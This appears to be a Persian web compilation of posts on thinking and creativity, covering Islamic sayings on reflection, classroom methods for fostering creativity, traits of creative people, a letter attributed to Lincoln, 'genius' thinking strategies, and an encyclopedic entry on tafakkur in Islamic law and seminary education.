    یک ساعت تفکر بهتر از یک سال عبادت است و تنها کسانی به این مقام می‌رسند که خداوند آنان را به نور معرفت و توحید ویژگی داده باشند.

    همچنین از رسول‌الله‌صل‌الله‌علیه‌و‌آله‌وسلم نقل شده که فرمود:
    شخص عاقل برای خود باید ۳ برنامه روزانه داشته باشد: وقتی که برای مناجات با خداوند عز و جل و وقتی را برای حسابرسی از خویش و وقتی را برای «تفکر و اندیشه» در آنچه خداوند عزوجل درباره او انجام داده است. علاوه بر اینها وقتی را نیز به استراحت و بهره‌بردن از لذات حلال اختصاص دهد.

    از امام علی علیه‌السلام نقل شده است که:
    نبه بالتفکر قلبک .
    به وسیله تفک دل خود را بیدار کن
    img/daneshnameh_up/a/ad/22july04.jpg

    تفکر و اندیشه سبب پیشگیری و درمان غفلت نیز می‌شود هرگاه انسان به کارهای خوب و آثار مثبت آن و به کارهای بد و نتایج سوء آن بیندیشد غفلت از روح و جانش دور می‌شود. فکر و اندیشه در مورد مرگ و پایان زندگی جلوی سرچشمه‌های اصلی غفلت را که هواپرستی و خودخواهی و فزون‌طلبی است می‌گیرد .

    حضرت علی علیه‌السلام که در یکی از وصایای خود به امام حسین علیه‌السلام فرمودند:
    این فرزندم، تفکر نورانیت می‌بخشد و غفلت ظلمت و تاریکی

  5. عناصر خلاقیت
    خلاقیت ، دارای عناصر تشکیل دهنده یی است ، اولین عنصر ، قلمرو مهارت ها است کهر مربوط به استعداد آموزش و تجربه در یک زمینه خاص است و به عنوان مواد اولیه کار محسوب می شود زیرا ، برای اینکه در یک حوزه خاص ، خلاق شوند ، باید دارای مهارت لازم در آن زمینه باشند . عنصر دوم مهارت های خود را در راه جدیدی به کار اندازند . این ویژگی ها یا مهارت ها را میتوان با آموزش و تجربه گسترش داد .
    عنصر سوم ، انگیزه است ، انگیزه میل به کار بخاطر همان کار است . اصولا انگیزه زمانی ایجاد می شود که شخص ، کار را جالب ، جذاب و رضایت آمیز ببیند و به انجام آن علاقه مند شود .

    روش های ایجاد تفکر خلاق
    معلم می تواند با به کارگیری شیوه های مناسب زمینه رشد خلاقیت را در دانش آموزان فراهم کند ذیل از آن جمله اند :
    ۱- استفاده از مغایرت ها : ارایه مطالبی که خلاف باورها مرسوم و عمومی علمی باشد ، مثلاً معلم در درس علوم از دانش آموزان بخواهد که نظریات قدیمی را رد کنند و بدین ترتیب دانش آموزان را بر انگیزاند تا چیزها را ارزیابی کنند و راه های جالبی برای آزمون و اثبات کردن مسائل بیابند .
    ۲- استفاده از تمثیل : معلم به دانش آموزان کمک کند تا با استفاده از چیزهایی که قبلاً می دانستند در موقعیتی مشابه به اطلاعات ، حقایق و اصول تازه یی دستیابند . به آنها نشان داده شود چگونه محصولات علمی بر اساس موقعیت های مشابه شکل گرفته اند .
    ۳- توجه دادن به کمبودها و خلأ موجود در دانش : از دانش آموزان خواسته شود بجای آنکه به دانستنی های انسان بپردازند آنچه را که برای انسان مجهول مانده است بررسی کنند . مهارتهای دانش آموزان را برای جستجوی شکافهای ، ناشناخته ها و مجهولات توسعه دهند . معلم باید از دانش آموزان بخواهد تا تمام تعاریف ممکن یک مساله و همچنین موارد نقض آن را جست و جو کنند .
    ۴- تقویت تفکر درباره امکانات و احتمالات : فرصتهایی ایجاد شود تا به سوالهایی مانند چطور ، اگر ، یا از چه راههایی پاسخ داده شود و حتی خود وادار به پاسخ دادن به آنها بشود . دانش آموزان باید بفهمند چگونه یک چیز به چیزدیگر منجر می شود . هنگام گفتن مساله به دانش آموزان فرصت اندیشیدن به راههای مختلف حل مساله داده شود .
    ۵- استفاده از سوالهای محرک : معلم باید بیشتر به گزاره های پرسشی که نیاز به درک عمیق دارد ، توجه کند و سوالهایی که نیاز به ترجمه ، تفسیر ، تعریف ، اکتشاف و تجزیه و تحلیل دارد استفاده کند .
    ۶- ایجاد فرصتهایی برای دانش آموزان تا رازهایی هر چیز را جستجو کنند .
    ۷- تشویق به مطالب زندگی افراد خلاق .
    ۸- تقویت تعامل دانش آموزان با اطلاعات قبلی : ایجاد فرصتهایی برای دانش آموزان تا با اطلاعاتی که دارند بازی کنند و به آنها کمک کنند و فرصت دهند تا بتوانند با استفاده از حقایق و اطلاعات که قبلا آموخته اند کارهایی را تجربه کنند .
    ۹- تقویت مهارتهای مطالعه خلاق : از دانش آموزان خواسته شود به جای آنکه بگویند چه خوانده اند ، عقایدی را که در نتیجه خوانده اند به دست آورده اند بیان کنند .
    ۱۰- ایجاد ابهام و تقویت آن : همه می دانند دانش آموزان زمانی یاد می گیرند که با موفقیتهای حل مساله مواجه باشند . بنابراین معلم باید موقعیت یادگیری را بیان نکته یی آغاز کند و سپس دست نگهدارد و اجازه دهد دانش آموزان خود با اطلاعات بازی کنند و درگیر شوند ، این روش خوبی است که منجر به یادگیری خود هدایتی می شود .
    ۱۱- استفاده از روش اکتشافی : در روش اکتشافی ، دانش آموز خود به جستجوی راه حل می رود و معلم نقش راهنما را ایفا می کند . در این روش بیش از جواب مساله چگونگی یافتن جواب مهم است . دانش آموز خود را به اطلاعاتی که پیرامون مساله توجه کرده و حتی ممکن است تغییراتی در آن ایجاد کند . بدین ترتیب امکان تجربه شخصی توسط دانش آموزان ، موقعیت یادگیری را برای آنها جذاب و مطبوع می نمایید و انگیزه های درونی آنها را تقویت میکند . همه این جنبه ها در کشف و شکوفایی استعداد خلاق دانش آموزان تأثیر مستقیم دارد .

    ویژگی های شخصیت خلاق
    هر چند خلاقیت یک توانایی همگانی است و همه انسانها کم و بیش از آن برخوردارند اما افرادی که خلاقیت بالایی دارند و به عنوان افرادی خلاق شناخته می شوند دارای خصوصیات شخصیتی و رفتار ویژه یی هستند که به وسیله این خصوصیات می تواند آن را از سایر افرادی که از خلاقیت کمتری برخوردار هستند تشخیص داد .
    ۱- استقلال : فرد خلاق در افکار و کارهای خویش از استقلال بالایی برخوردار است .
    ۲- کنجکاوی : کنجکاوی یک خصوصیت بارز فرد خلاق است . او تمایل زیادی به کشف مسائل و پی بردن به اصل پدیده ها دارد .
    ۳- علاقه به کارهای پیچیده : فرد خلاق پیچیدگی را دوست دارد به همین دلیل او در کارهای مشکل و پیچیده بیش از هر چیز دیگر انرژی صرف می کند .
    ۴- تحمل ابهام : برای فرد خلاق مواجه شدن با ابهامات ، یک مبارزه محسوب می شود و برای او نوعی لذت به دنبال دارد .
    ۵- انعطاف پذیری : فرد خلاق از ذهن و شخصیتی بسیار انعطاف پذیر برخوردار است .
    ۶- شوخ طبعی : شوخی ، خود نوعی خلاقیت است و شوخ طبعی از جمله ویژگی های عینی و قابل مشاهده در افراد خلاق است .
    ۷- اعتماد به نفس بالا : فرد خلاق نسبت به خود و توانمندی هایش آگاهی دارد به همین سبب است از اعمتاد به نفس زیاد برخوردار است .
    ۸- ابتکار : ابتکار داشتن یعنی دور شدن از کلیشه ها ، قالبها و عادت های رایج و تکراری . فرد خلاق به راه حلهای کلیشه ای و به طور کلی تفکر مبتنی بر عادت علاقه ای ندارد .
    ۹- پشتکار : فرد خلاق تلاشگر و سخت کوش است و شکستها او را خسته نمی کند .
    ۱۰- تخیل قوی : تخیل زیربنای خلاقیت است . این واقعیت را تاریخ علم و اندیشه های شخصیتهای خلاق به اثبات رسانیده است .
    ۱۱- حساسیت و توجه : بسیار از اشیا و پدیده هایی که برای اغلب مردم عادی و پیش پا افتاده جلوه می کند ، می تواند توجه و حساسیت فرد خلاق را برانگیزد .
    ۱۲- زیبایی دوستی : فرد خلاق به اسانی مجذوب زیبایی می وشدو نسبت به آن توجه و دقت زیادی دارد .
    ۱۳- تردید : فرد خلاق معمولا هر عقیده یا ایده تازه یی را به راحتی نمی پذیرد .

    شناخت ویژگی های خلاق
    ۱- ایده ها و نظرات خود را بدون ترس مطرح می کند .
    ۲- معمولاً برای مسائل ، راه حلها و پاسخهایی متفاوت از سایر همسالان خود ارایه می کند .
    ۳- به فعالیتها هنری علاقه زیادی دارد و در این زمینه دارای تجربه و مهارت است .
    ۴- قالباً ایده ها و راه حلهای بیشتری نسبت به سایر همسالان خود پیشنهاد می کند .
    ۵- معمولا قادر است با طنز پردازی ها و شوخی های جالب دیگران را بخنداند .
    ۶- از والدین خود اغلب سؤالاتی غیر عادی و گاه عجیب و غریب می پرسد .
    ۷- علاقه زیادی به نقاشی و ترسیم افکار و ایده های خود دارد .
    ۸- انتقادگر است وهر نظر یا عقیده یی را به راحتی نمی پذیرد .
    ۹- گاهی به خاطر بیان نظرات ایده های عجیب و غریبش در نظر همسالان خود فردی غیر عادی جلوه می کند .
    ۱۰- از قوه تخیل خوبی برخوردار است .
    ۱۱- معمولا با آب و تاب صحبت می کند وسعی می کند ایده هایش را با جزییات کامل شرح دهد .

    منابع خلاقیت
    ۱- عدم آشنایی والدین و مربیان با مفهوم واقعی خلاقیت
    ۲- قرار دادن قوانین خشک و دست و پاگیر در منزل و جامعه
    ۳- عدم تکیه بر تفاوتهای فردی
    ۴- عدم اعمال مدیریت مناسب برای ایجاد جو مناسب برای خلاقیت
    ۵- عدم مشاهده و آزمایش
    ۶- تأکید بر روش تقلیدی و قالبی در علم و یادگیری
    ۷- تأکید بر تفکر همگرا به جای تفکر واگرا
    ۸- رواج روح سکوت در مقابل افراد
    ۹- درگیر نشدن در مسائل زندگی
    ۱۰- عدم نشاط و پویایی در جامعه

    نگاه خلاقانه آبراهام لینکلن رئیس جمهور پیشین آمریکا را در باره معلم پسرش می آوریم . آبراهام لینکلن در نامه یی به آموزاگار پسرش نوشت :
    او باید بداند که همه مردم عادل و همه آنها صادق نیستند . اما به پسرم بیاموزید که به ازای هر شیاد ، انسانهای صدیق هم وجود دارد ، به او بگویید در ازای هر سیاستمدار خودخواه رهبر با همتی هم وجود دارد ، به او بیاموزید که در ازای هر دشمن ، دوستی هم هست .
    می دانیم که وقت می گیرد ، اما به او بیاموزید که از باختن پند بگیرد و از پیروز شدن لذت ببرد . او را از غبطه بر حضر دارید . به او نقش مهم کسب در زندگی را آموزش دهید به او بگویید تعمق کند . به پرندگان در در حال پرواز در دل آسمان دقیق شود . به گلهای درون باغچه ، به زنبورها که در هوا پرواز می کند دقیق شود .
    به پسرم بیاموزید که در مدرسه بهتر این است که مردود شود اما با تقلب به قبولی نرسد به پسرم یاد بدهید با ملایم ها ملایم و با گردن کشها گردن کش باشد . به عقاید ایمان داشته باشد حتی اگر همه در جهت خلاف حرف می زنند .
    به پسرم یاد بدهید که همه حرفها را بشنود و سخنی را که به نظرش درست می رسد انتخاب کند . ارزشتهای زندگی را پسرم یاد بدهید که در اوج اندوه تبسم کند ، به او بیاموزید که در اشک ریختن خجالتی و جود ندارد ، به او بیاموزید که برای فکر و شعورش مبلغی تعیین کند ، اما قیمت گذاری برای دل بی معنا است . به او بگوید که تسلیم هیاهو نشود و اگر خود را بر حق می داند پای سخنش بایستد و با تمام قوا بجنگد . در کار تدریس به پسرم ملایمت به خرج دهید ، اما از او یک نازپرورده نسازید .
    بگذارید که او شجاع باشد . به او بیاموزید که به مردم اعتقاد داشته باشد . توقع زیادی است ، اما ببینید که چه می توانید بکنید . پسرم کودک کم سال خوبی است .

  6. سری استراتژی های مطالعه
    تفکر به روش نوابغ
    “حتی اگر نابغه نباشید، می توانید از استراتژی های نابغه هایی مانند ارسطو و انیشتین استفاده کنید تا قدرت ذهن خلاق خود را برای داشتن آینده ای بهتر به کار بگیرید.
    راهبردهای زیر شما را تشویق به تفکر موثر در رسیدن به راه حل مشکلات می کنند. “این استراتژی به سبک های تفکر نوابغ و دانشمندان خلاق در علم، هنر و صنعت در طول تاریخ متداول است”.
    ۱٫ با دیدی متفاوت به مشکلات موجود در زمینه های مختلف بنگرید.
    دیدگاه های جدیدی بیابید که هیچ کس دیگر پیدا نکرده (یا رو نکرده است!)
    لئوناردو داوینچی معتقد بود که به دست آوردن دانش مربوط یک مسئله، با آموختن راه های مختلف بازسازی آن مسئله آغاز خواهد شد. او بر این عقیده بود که اول نگاه به مسئله جانبدارانه و تعصب آمیز بود. اغلب، مشکل خودش بازسازی می شود و به یک مشکل جدید تبدیل می شود.
    ۲٫ تجسم کنید!
    وقتی که فکر انیشتین را به یک مسئله فکر می کرد، همیشه تدوین و فرموله کردن موضوع به روش های مختلف موجود و نیز استفاده از دیاگرام ها را ضروری می دانست. او راه حل ها را تجسم می کرد و اعتقاد داشت که کلمات و اعداد، نقش عمده ای در روند تفکر وی ندارند.
    ۳٫ تولید کنید!
    مشخصه متمایز نابغه بودن، بهره وری است.
    توماس ادیسون ۱،۰۹۳ حق انحصاری اختراع داشت. او بهره وری را با دادن ایده های مختلف به خود و همکارانش تضمین می کرد. یکی از اساتید دانشگاه کالیفرنیا در یک مطالعه روی ۲،۰۳۶ دانشمندان در طول تاریخ، متوجه شد که مورد توجه ترین دانشمندان نه تنها کارهای بزرگی انجام داده اند، بلکه کارهای “بد” بزرگی نیز انجام داده اند! آنها در راه رسیدن به مراتب بالا، از شکست یا رسیدن به نتایج نامطلوب هراس ندارند.
    ۴٫ ترکیبات جدید بسازید.
    ایده ها، تصاویر و افکار را به صورت های مختلف بارها و بارها ترکیب کنید، بدون توجه به این که چه قدر عجیب یا نامتداول باشند.
    قوانین وراثت که اساس علم مدرن ژنتیک است، از ایده های راهب اتریشی، جورج مندل، گرفته شده است که ترکیب ریاضیات و زیست شناسی را برای ایجاد یک علم جدید به کار گرفت.
    ۵٫ بین چیزهای مختلف، حتی آن هایی که به هم بی ربط به نظر می رسند، ارتباط برقرار کنید.
    داوینچی به زور رابطه ای بین صدای یک زنگ و سنگی که با آب برخورد می کند، برقرار کرد. این کار او را قادر ساخت تا بفهمد صوت به صورت امواج حرکت می کند. ساموئل مورس ایستگاه های رله برای سیگنالهای تلگرافی را زمانی اختراع کرد که ایستگاه های رله برای اسب ها را مشاهده می کرد.
    ۶٫ به تضادها بیندیشید.
    نیلز بور فیزیکدان معتقد بود که اگر شما چیزهای متضاد را با هم نگه دارید، به افکار خود شک می کنید و ذهن شما به یک سطح جدید می رسید. توانایی او در تصور نور هم به عنوان یک ذره و هم موج، او را به اصل تکامل رساند. تعلیق اندیشه (منطق) ممکن است به ذهن شما ایجاد یک فرم جدید را اجازه دهد.
    ۷٫ به تشابه ها بیندیشید.
    ارسطو استعاره را نشانه ای از نبوغ می دانست و اعتقاد داشت که فردی که قادر به درک شباهت هایی بین دو حوزه جدا از هم و اتصال آنها به هم را داشته باشد، یک فرد با استعداد و ویژه است.
    ۸٫ خودتان را برای هر شانسی آماده کنید.
    هر موقع که برای انجام کاری تلاش کنیم و با شکست مواجه شویم، به سراغ انجام کاری دیگر می رویم که در واقع اصل اساسی برای خلاقیت است. شکست تنها وقتی می تواند مولد و مفید باشد که ما بر روی آن به عنوان عاملی منفی تمرکز نکنیم. در عوض: این روند، اجزای آن و این که چگونه می توان آنها را تغییر داد، را تجزیه و تحلیل کنیم تا به نتایجی دیگر برسیم. این سوال را نپرسید که “چرا من شکست خوردم؟”، بلکه به جای آن بپرسید:”من چه کاری کرده ام؟”
    ۹٫ صبر داشته باشید.
    پل سزان (۱۸۳۹ — ۱۹۰۶) یکی از بزرگترین نقاشان قرن نوزدهم شناخته شده است و اغلب او پدر هنر مدرن لقب می دهند. او پلی ارتباطی بین امپرسیونیسم و کوبیسم ایجاد کرد. وی در طول عمر خود تنها چند نمایشگاه برگزار کرده بود، ولی تاثیر و نفوذ او بر هنرمندان بزرگ بعدی به عنوان مبتکر با شکل و فرم بود. نبوغ او، با این حال، تا اواخر زندگیش آشکار نشد. ورود او به مرکز هنری Ecole des Beaux école در ۲۲ سالگیش رد شد و اولین نمایشگاه انفرادی او وقتی ۵۶ ساله بود برپا شد. نبوغ او محصول سال ها تمرین و نوآوری تجربی بود.

  7. تفکر
    اندیشیدن را تفکّر گویند و از این عنوان به مناسبت در باب‌های طهارت، صلات، جهاد و امر به معروف و نهی از منکر یاد شده است.
    فکر مصدر باب تفعّل، یا اسم مصدر باب تفعیل (تفکیر) [۱] از ریشه «ف ـ ک ـ ر»، در لغت به معنای تأمل [۲] و در اصطلاح، تصرف قلب در معانی اشیا برای ادراک مطلوب است. [۳] فکر نیز از همین ریشه و در لغت به معنای تأمل [۴] و در اصطلاح حرکت نفس از مطالب (مجهولات) تصوری و تصدیقی به مبادی [۵] و سیر در معلومات موجود است تا مجهولاتی که ملازم با آن‌هایند معلوم گردند [۶] این حرکت، نفس را برای افاضه صور عقلی از مبدأ قدسی آماده می‌کند [۷] نیز فکر، نیرویی است در شخص که برای طلب معنا، در امری دقیق و باریک می‌گردد و تفکر جولان این نیرو بر حسب نظر عقل است و جز بر آنچه صورت آن در قلب حاصل گردد گفته نمی‌شود. [۸] [۹] فکر در اصطلاح عامه مردم نیز عبارت است از هر انتقالی که برای نفس در ادراکات جزئی صورت گیرد. [۱۰]
    واژه تفکر با واژه‌هایی همچون اعتبار، تذکر ، تدبّر ، نظر، عقل و علم همسو و مرتبط است، گرچه تفاوت‌هایی نیز بین آن‌ها وجود دارد، چنان که گفته شده: حقیقت تفکر احضار دو معرفت در قلب برای نتیجه گرفتن معرفت سوم و «اعتبار» عبور از دو معرفت به معرفت سوم و تذکر برخورد به دو معرفت است. [۱۱] برخی در تفاوت تفکر با تذکر گفته‌اند: «تفکر» شناخت چیزی است، هرچند قبلا هیچ گونه اطلاعی از آن وجود نداشته باشد؛ ولی «تذکر» در موردی است که انسان قبلا با آن موضوع هرچند از طریق آگاهی‌های فطری آشنایی داشته باشد. [۱۲] [۱۳] برخی هم تذکر را تفکر در اموری برای راه یافتن به نتیجه‌ای دانسته‌اند که مورد غفلت واقع شده یا پیش از آن مجهول بوده است. [۱۴]
    در تفاوت بین تفکر و تدبر هم گفته شده که «تدبر» تصرف قلب در توجه به عواقب امور [۱۵] و رموز آن [۱۶] ولی «تفکر» تصرف قلب در توجه به ادله است. [۱۷] نظر نیز به معانی مختلفی [۱۸] مانند فکر و اندیشه کردن آمده است.
    عقل هم به معنای مصدری، ادراک کامل چیزی و به معنای اسمی، حقیقتی است که خوب و بد و حق و باطل و راست و دروغ را تشخیص می‌دهد. [۱۹] به گفته‌ای، ثمره فکر ، علم است و از آن در قلب تغییری حاصل می‌شود که حال نامیده می‌شود و از حالْ تغییری در جوارح پدید می‌آید که عمل خوانده می‌شود. [۲۰]
    در قرآن کریم افزون بر واژه تفکر که مشتقات آن‌که بار به کار رفته، مشتقّات واژه‌های مرتبط با موضوع تفکر، نظیر تدبّر، تذکر، تفقه ، تفکیر، اعتبار ، نظر و عقل نیز فراوان به کار رفته است.
    در آیات متعدّد و نیز روایات بسیار به تفکّر، ترغیب و سفارش شده و در فضیلت آن آمده است: تفکّر ساعتی برتر از یک شب عبادت [۲۱]و در روایتی دیگر برتر از یک سال عبادت [۲۲]است.
    حکم

    استحبابی
    تفکّر در پدیده‌های عبرت‌آموز که انسان را بر انجام دادن اعمال نیک برمی‌انگیزد و نیز در قدرت و عظمت خداوند و مشیّت او؛ [۲۳] [۲۴] [۲۵]همچنین تدبّر در معانی آیات قرآن کریم، [۲۶]مستحب است.
    هنگام تشییع جنازه، تفکّر در فرجام زندگی دنیایی و عبرت گرفتن از آن، مستحب است. [۲۷]
    تفکّر در حال تخلّی؛ به اینکه به خوردنی‌ها و آشامیدنی‌ها بیندیشد که با چه تلاش و رنجی آن‌ها را به دست آورده و اکنون باید آن‌ها را با زحمت و تحمّلِ اذیّت و آزاری دیگر دفع کند و نیز به قدرت خدا بیندیشد که چگونه او را از این گرفتاری رهایی بخشیده است. [۲۸]
    شایسته است انسان بالغ و عاقل، پیش از اقدام به هر کاری، به عاقبت آن بیندیشد. اگر آن را نیک و خیر یافت انجام دهد وگرنه ترک کند. [۲۹]

    حرام
    تفکّر در ذات حق‌تعالی جایز نیست و در روایات از آن نهی شده است؛ زیرا ذات او برتر از دسترسی افکار و عقول است.
    البتّه تفکّر در آیات و نشانه‌های پروردگار برای بنده، ممکن و سزاوار است. [۳۰] [۳۱]

    از نظر امیرالمؤمنین علی(ع)

    علی (ع) می‌فرماید:
    (من اکثر الفکر فیما تعلَّم اتقن علمه وفهم مالم یکن یفهم.) [۳۲]
    هرکه بسیار اندیشد در آنچه آموخته، دانش آن را استوار سازد و بنیوشد، آنچه را ننوشیده است.

    جایگاه تفکر در نظام آموزشی

    برابر آموزه‌های دین، نظام آموزشی اسلام ، بر سه عنصر اساسی استوار است: تعلّم ، تفکر و تزکیه .
    پیوند و بستگی این سه با هم، پیوند کامل سازی و کمال پذیری است.
    سامانه و منظومه آموزشی‌ای موفق و کارآمد خواهد بود که بتواند، نقش هر یک از عنصرهای سه ‌ ‌گانه را شناسایی کند، پیوند و بستگی بین آن‌ها برقرار سازد و برابر آن بر نامه ریزی آموزشی ارائه دهد.
    در هر برهه‌ای از تاریخ ، در هر کجا، در هر کانون و انجمن که این سه عنصر مهم و بنیادین، با هم بوده و هماهنگی داشته و بر یک مدار چرخیده و در رشد و بالندگی یکدیگر نقش آفریده‌اند، دگرگونی و انقلاب پدید آورده و نسلی را بر صراط حق پویانده‌اند.
    و هر شخص نیز که این سه عنصر دگرگونی آفرین را با هم و در کنار هم در زندگی علمی و معنوی خویش داشته و بر مدار آن‌ها حرکت کرده و جهت گیری‌های خود را سامان داده است، هم خود را به اوجِ کمال رسانده و از گرداب‌های جهل و بی اندیشگی و آلودگی رهانده و هم ابر پربرکتی شده و برخشکی و دریا باریده و فوج فوج انسان‌ها را از دام جهل و خرافه، بی فکری و ره گم کردکی، رکود و کندیدگی، خشکی و تشنگی، رهایی بخشیده است.
    این مهم را می‌توان از نگاشته‌ها، نوآوری‌ها، شاگردان برجسته و مطالعه حیات علمی آنان به دست آورد.
    بسیاری، چون این سه عنصر را با هم، در زندگی علمی خود پیاده نکرده و به کار نبسته‌اند، با همه شهرت و آثار فراوان، اوجی نداشته و حرکتی نیافریده و ابتکاری بر ابتکارها نیفزوده و مشعلی فرا راه حق جویان نیفروخته‌اند.
    سرامدان اندیشه، کمال یافتگان عرصه‌های گوناگون دانش ، پیمایندگان پله‌های دانش، معنی و سعادت ، همه و همه، بی هیچ گمان و شکی، از دایره این سه عنصر، بیرون نبوده‌اند.
    اینان، با تفکر، هم دانش‌های اندوخته را استواری و ثبات بخشیده و هم روزنه‌های جدیدی از فهم و دانش را به روی خود گشوده‌اند. [۳۳]
    در اساس، اندیشیدن، از روح پرسش گر انسان سرچشمه می‌گیرد.
    برانگیزاننده قوّه اندیشه، هماره، پرسشی است که فرا روی انسان قرار می‌گیرد و او، با کرداران و کارکردهای ذهنی خود، به گونه‌ای آزمون و خطا دست می‌زند.
    برای پاسخ به پرسش و حلّ مشکل، راه حلّ‌های گوناگون را می‌آزماید و سرانجام، راه حلّ مناسب را بر می‌گزیند و با این کار، به راه‌های جدید دست می‌یابد و دیدگاه‌های نو را کشف می‌کند.
    از این روی، روان شناسان، این را گونه‌ای یادگیری، بلکه کارکردها و کرداران عالی یادگیری می‌نامند.
    حوزه‌های علمیه شیعه ، از دیرباز تاکنون، در برقراری پیوند و بستگی بین تعلّم و تزکیه، گام‌های بلندی برداشته و از کامیابی‌هایی برخوردار بوده و در این راه، تلاش‌های راه گشا انجام داده‌اند.
    در حوزه‌ها و کانون‌ها و انجمن‌هایی که عالم وارسته و خودساخته محور و مدار بوده، فراگیری و خودسازی ، تعلیم و تزکیه، دوشادوش هم در حرکت بوده، جهل و آلودگی را از سینه‌ها و دل‌ها می‌زدوده و انسان نمونه و کامل را می‌ساخته و از هر بدی و زشتی می‌پیراسته‌اند.
    ولی، دریغ و درد، که اندیشیدن و تفکر در کانون توجه‌ها قرار نگرفته و حوزه‌های علمیه، به این مهم، سال‌های سال است، آن بهای لازم را نداده و آن را در برین جایگاه خود، ننشانده و از نور آن، پرتو نگرفته‌اند.
    آنچه انجام گرفته، کارهای فردی است، نه کوشش در خور و نظام مند و فراگیر.
    با این‌که نیاز حوزه‌ها و فردافرد حوزویان، در کار نظام مند و فراگیر بر می‌آید.
    این که هر کس به تنهایی این مهم را در دستور کار خود بدهد و بر آن پایه، بنای خویش را استوار سازد، آن گونه که باید و شاید بار نخواهد داد و افقی را نخواهد گشود و پایندانی وجود نخواهد داشت که این تلاش، همیشه جاری و ساری باشد و بپاید و بپوید.
    از این روی، باید کار سامان مند و نظام واره باشد، تا هم امیدی را برانگیزد و هم نیروهای بیش تری به این کاروان بپیوندند و به سوی قلّه‌های مجد و کمال به حرکت درآیند.
    برای دست یافتن به حوزه‌ای که در پرتو این سه عنصر ره بپوید و تفکر را مدار حرکت خود قرار دهد، باید به قرآن بازگشت و این کتاب شریف را مشعل راه و هر تلاش و جست وجویی قرار داد و رهنمودها و راهنمایی آن را به گوش جان نیوشید.

    دیدگاه قرآن کریم

    در جای جای قرآن و در گوناگون آیه‌های شریفه آن، به اندیشیدن ارزش بسیار داده شده و همگان به اندیشیدن فرا خوانده شده‌اند و از نیندیشیدن و بی توجهی به اندیشیدن، بسیار نکوهش شده است.
    قرآن مجید، یا به گونه مستقیم انسان‌ها را به اندیشیدن فرا خوانده، یا به گونه‌ای پیام‌ها و سخنان خود را آورده و در کنار هم چیده که باید در آن‌ها اندیشید که صلاح و سداد حیات بسته به تفکر و درستی آن است.
    خداوند به امر اندیشیدن، با گوناگون راه‌ها و روش‌ها تذکر داده است.
    گاه انسان اندیش مند و اهل اندیشه و راه یافته و دارای نور ، با انسان غیراندیش مند و فرو رفته در تاریکی‌ها مقایسه شده و برتری اهل اندیشه و علم و نور گوشزد گردیده است.
    پس اگر بخواهیم درک، دریافت و فهمی بر درک و فهم و دریافت پیشینیان بیفزاییم، به سوی رشد و بالندگی گام برداریم، نوآوری و آفرینندگی داشته باشیم و بتوانیم نیروهای کارامد، نوآور، نواندیش، پاسخ گوی به دشواری‌ها و پیچیدگی‌های فکری بپرورانیم و تربیت کنیم، گریزی از رویکرد جدی به تفکر به عنوان عنصری اساسی در سامانه آموزشی نیست.

    اتحاد بین عناصر سه‌گانه آموزشی

    برای به وجود آوردن هماهنگی و همسنگی منطقی بین تعلّم و تفکر، باید هر کس و گروه به اندازه توان، گام‌هایی بردارد و پیشنهادهایی ارائه دهد و راه حلّ‌هایی را جست وجو کند که ما نیز در همین راستا، چند پیشنهاد ارائه می‌دهیم، به امید آن‌که در نزد ارباب معرفت، پذیرفته آید:
    ۱. بایسته است تمامی بحث‌ها و جُستارهایی که در منابع دینی درباره تفکر آمده، در مجموعه‌ای، بامعیارها و ترازهای دقیق علمی گردآوری شوند و به دقت سامان یابند، بسان کاری که شهید ثانی در آداب تعلیم و تعلم انجام داده است.
    ۲. همان گونه که برای بهینه سازی و سامان دهی تحصیل برنامه ریزی می‌شود، بایسته است که برای تفکر نیز، راه کارهای علمی و عملی در نظر گرفته شود و برنامه ریزی سنجیده و خردمندانه و هماهنگ با نیازهای روز انجام بگیرد و برنامه های مدون ارائه گردد.
    ۳. پدید آوردن زمینه‌های لازم برای اندیشه و اندیشیدن، همانند تحصیل ، مرحله‌هایی دارد و در هر مرحله‌ای، باید نیازها و بایسته‌ها آن مرحله ارزیابی شوند و به درستی درباره آن‌ها، جست وجو و مطالعه صورت گیرد.
    به عنوان مثال، اگر انگیزاندن تفکر را نخستین مرحله بدانیم و رویارویی با پرسش و شبهه را مهم ‌ترین عامل انگیزش تفکر و نظریه پردازی را گام بعدی و گزینش برتر را گام آخرین، برای رسیدن به این هدف، کم ‌ترین کاری که باید انجام داد، باید تمامی انگیزه‌ها و عامل‌های تفکر برانگیز را شناسایی کرد و به استقبال پرسش‌ها و شبهه‌های جدید رفت و از همه توانایی‌ها برای رسیدن به این مهم، یاری گرفت.
    دیگر آن‌که اطلاعات و توانایی‌هایی که در توانا سازی اندیشه وران به پاسخ به شبهه‌ها و پرسش‌ها یاری می‌رسانند، در اختیار آنان گذاشت.
    سه دیگر، محیط را برای ارائه دیدگاه‌های منطقی، دقیق، سنجیده و برابر معیارها و ترازها آماده ساخت، تا اندیشه وران بتوانند دیدگاه‌ها و نظریه‌های خود را آزادانه ارائه دهند که به فرموده حضرت امام خمینی :
    (… طبیعت انقلاب و نظام، همواره اقتضا می‌کند که نظرات اجتهادی فقهی، در زمینه‌های مختلف؛ ولو مخالف با یکدیگر، آزادانه عرضه شود و کسی توان و حق جلوگیری از آن را ندارد….) [۳۴]
    و سرانجام، با نشست‌های علمی پیاپی و با برنامه و دقیق، امکان گزینش و انتخاب برترین‌ها، فراهم گردد و پیشنهاد مقام معظم رهبری در این باره، که در جمع نخبگان حوزه علمیه قم ، ارائه دادند، جدّی گرفته شود. (آذر ماه ۱۳۷۴، مدرسه فیضیه .)
    ۴. به تفکر، همانند تعلّم و تحصیل، ارزش و بهای لازم داده شود.
    اهل فکر و افراد مستعد شناسایی شوند و برای اندیشیدن و سامان دهی و برنامه ریزی برای آن، سرمایه گذاری شود.
    به این نکته نیز توجه داشته باشیم، فزونی روز افزون نیازها و انبوهی آن‌ها، گسترش گوناگون دانش‌ها، کوشش‌های علمی و پژوهشی، کارهای علمی و پژوهشی و پاسخ گویی و روشن گری را به سمت کارها، حرکت‌ها، تلاش‌ها و تکاپوهای گروهی و جمعی می‌کشاند و کار فردی در این آوردگاه بزرگ، کارایی ندارد و نمی‌تواند تهی گاه‌ها را پرکند و نیازها روزامد را برآورد.
    ما، همان گونه که در حوزه پژوهش، گامهای نخستین را تجربه می‌کنیم، برای عرصه و میدان داری تفکرها و اندیشیدن‌های گروهی نیز چاره‌ای بیندیشیم و گام‌هایی برداریم، تا کامیابیهای این حرکت، سبب گردد، هر چه بیش‌تر در این عرصه به تلاش برخیزیم و از این تنگنایی که خود پدید آورده‌ایم به درآییم و شاهد رویش و شکوفایی اندیشه های بالنده باشیم.

  8. تفکر یعنی
    ??????

